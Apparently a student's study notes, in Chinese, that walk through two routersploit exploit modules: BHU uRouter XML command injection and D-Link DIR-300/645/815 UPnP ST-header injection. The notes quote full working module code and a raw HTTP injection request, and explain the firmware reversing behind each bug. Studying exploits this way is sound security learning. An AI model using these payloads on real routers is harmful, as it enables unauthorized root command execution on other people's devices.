---
# System prepended metadata

title: Trace module codes in routersploit

---

# Trace module codes in routersploit
上禮拜自己寫了一個poc，可是那個poc只是一般的telnet的偵測。所以這個禮拜我想要把routersploit裡面的rce_module都trace一下，可以知道已經寫好的module是怎麼寫的，然後之後自己可以的話，可以再寫另一個是rce的poc。

## routersploit/routersploit/modules/exploits/routers/bhu/bhu_urouter_rce.py

```python=
from routersploit.core.exploit import *
from routersploit.core.http.http_client import HTTPClient


class Exploit(HTTPClient):
    __info__ = {
        "name": "BHU uRouter RCE",
        "description": "Module exploits BHU uRouter unauthenticated remote code execution vulnerability, which "
                       "allows executing commands on the router with root privileges.",
        "authors": (
            "Tao 'depierre' Sauvage",
        ),
        "references": (
            "http://www.ioactive.com/pdfs/BHU-WiFi_uRouter-Security_Advisory_Final081716.pdf",
        ),
        "devices": (
            "BHU uRouter",
        ),
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")

    def run(self):
        if self.check():
            print_success('Target is vulnerable')
            print_status('Blind command injection - response is not available')
            print_status('Possible extraction point:')
            print_status('\t- Inject "CMD &gt; /usr/share/www/routersploit.check"')
            print_status('\t- The result of CMD will be available at {}:{}/routersploit.check'.format(self.target, self.port))
            print_status("Invoking command loop (type 'exit' or 'quit' to exit the loop)...")
            shell(self, architecture="mipsbe")
        else:
            print_error('Target is not vulnerable')

    def execute(self, cmd):
        headers = {'Content-Type': 'text/xml', 'X-Requested-With': 'XMLHttpRequest'}
        data = '<cmd><ITEM cmd="traceroute" addr="$({})" /></cmd>'.format(cmd)
        self.http_request(
            method="POST",
            path="/cgi-bin/cgiSrv.cgi",
            headers=headers,
            data=data
        )
        return ''  # Blind RCE so no response available

    @mute
    def check(self):
        headers = {'Content-Type': 'text/xml', 'X-Requested-With': 'XMLHttpRequest'}
        data = '<cmd><ITEM cmd="traceroute" addr="$({})" /></cmd>'
        # Blind unauth RCE so we first create a file in the www-root directory
        cmd_echo = data.format(u'echo &quot;$USER&quot; &gt; /usr/share/www/routersploit.check')
        response = self.http_request(
            method="POST",
            path="/cgi-bin/cgiSrv.cgi",
            headers=headers,
            data=cmd_echo
        )
        if not response or u'status="doing"' not in response.text:
            return False
        # Second we check that the file was successfully created
        response = self.http_request(
            method="GET",
            path="/routersploit.check",
        )
        if not response.status_code == 200 or u'root' not in response.text:
            return False
        # Third we clean up the temp file. No need to check if successful since we already check that the device was
        # vulnerable at this point.
        cmd_rm = data.format("rm -f /usr/share/www/routersploit.check")
        self.http_request(
            method="POST",
            path="/cgi-bin/cgiSrv.cgi",
            headers=headers,
            data=cmd_rm
        )
        return True
```
這邊是參考[這個](https://www.cnblogs.com/k1two2/p/5808839.html)，所以才知道說他的payload為什麼要這樣下。他大概就是reverse了整個firmware。
一開始發現是用U-boot,所以就可以先看一下`printenv`，之後發現他在開始前面的引導之後，就會call`/sbin/init`，所以就用setenv把`/sbin/init`改成`bin/sh`，這樣就可以run built-in的shell了。之後就`ls`，然後把整個dict都dump出來，就可以開始reverse他的firmware了，雖然我不太會reverse，但是因為他是mips的arch，所以我在他的指示之下，勉強還是看得懂他想要解釋的是什麼~

在上面這個poc裡面，他想要達成的其實就是下面的這個request：

```
POST /cgi-bin/cgiSrv.cgi HTTP/1.1
 
Host: 192.168.62.1
 
Content-Type: text/xml
 
X-Requested-With: XMLHttpRequest
 
Content-Length: 59
 
Connection: close
 
<cmd>
 
<ITEM cmd="traceroute" addr="$(u'echo &quot;$USER&quot; &gt; /usr/share/www/routersploit.check')" />
 
</cmd>
```
註:
`&quot;` -> `"`
`&gt;` -> `>`
    
    
## routersploit/routersploit/modules/exploits/routers/dlink/dir_300_645_815_upnp_rce.py 

這是另外一個rce的洞，一樣有找到可以參考的[資料](https://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html)，發現他的cgibin這個binary裡面，有一個部分就是有處理upnp的ssdp request，在ssdp的discovery request底下，有幾個header要set，可以參考[這邊](https://mzh.io/ssdp%E5%8D%8F%E8%AE%AE%E7%AC%94%E8%AE%B0/)，大概有ST、MX、MAN…。然後其中的ST(設定搜尋條件)的header，可以造成injection的攻擊，下面就是他的code：
```python=
  1 from routersploit.core.exploit import *
  2 from routersploit.core.udp.udp_client import UDPClient
  3 
  4 
  5 class Exploit(UDPClient):
  6     __info__ = {
  7         "name": "D-Link DIR-300 & DIR-645 & DIR-815 UPNP RCE",
  8         "description": "Module exploits D-Link DIR-300, DIR-645 and DIR-815 UPNP Remote Code Execution vulnerability which allows executing command     on the device.",
  9         "authors": (
 10             "Zachary Cutlip",  # vulnerability discovery
 11             "Marcin Bury <marcin[at]threat9.com>",  # routersploit module
 12         ),
 13         "references": (
 14             "https://github.com/zcutlip/exploit-poc/tree/master/dlink/dir-815-a1/upnp-command-injection",
 15             "http://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html",
 16             "https://www.exploit-db.com/exploits/34065/",
 17         ),
 18         "devices": (
 19             "D-Link DIR-300",
 20             "D-Link DIR-645",
 21             "D-Link DIR-815",
 22         )
 23     }
 24 
 25     target = OptIP("", "Target IPv4 or IPv6 address")
 26     port = OptPort(1900, "Target UPNP port")
 27 
 28     def run(self):
 29         if self.check():
 30             print_success("Target seems to be vulnerable")
 31             print_status("Invoking command loop...")
 32             print_status("It is blind command injection, response is not available")
 33             shell(self, architecture="mipsle")
 34         else:
 35             print_error("Exploit failed - target seems to be not vulnerable")
 36 
 37     def execute(self, cmd):                                                                                                                         
 38         cmd = bytes(cmd, "utf-8")
 39 
 40         request = (
 41             b"M-SEARCH * HTTP/1.1\r\n" +
 42             b"Host:239.255.255.250:1900\r\n" +
 43             b"ST:uuid:`" + cmd + b"`\r\n" +
 44             b"Man:\"ssdp:discover\"\r\n" +
 45             b"MX:2\r\n\r\n"
 46         )
 47 
 48         udp_client = self.udp_create()
 49         udp_client.send(request)
 50         udp_client.close()
 51 
 52         return ""
 53 
 54     @mute
 55     def check(self):
 56         request = (
 57             b"M-SEARCH * HTTP/1.1\r\n"
 58             b"Host:239.255.255.250:1900\r\n"
 59             b"ST:upnp:rootdevice\r\n"
 60             b"Man:\"ssdp:discover\"\r\n"
 61             b"MX:2\r\n\r\n"
 62         )
 63 
 64         udp_client = self.udp_create()
 65 
 66         if udp_client:
 67             udp_client.send(request)
 68             response = udp_client.recv(65535)
 69             udp_client.close()
 70 
 71             if response and b"Linux, UPnP/1.0, DIR-" in response:
 72                 return True  # target is vulnerable
 73 
 74         return False  # target is not vulnerable
~                                                                                         
```

然後總結一下這個禮拜我在trace code的心得，我覺得單看他們的code其實有時候是很難理解說他們為什麼在某個地方下payload，就可以觸發vlun，然後回頭看一下原因，十有八九都是因為reverse的結果，所以我覺得自己應該也要可以去跟著去reverse他們說的那邊binary，這樣才能去知道說一個漏洞可以怎麼被發現，這大概是我這個禮拜trace完的心得。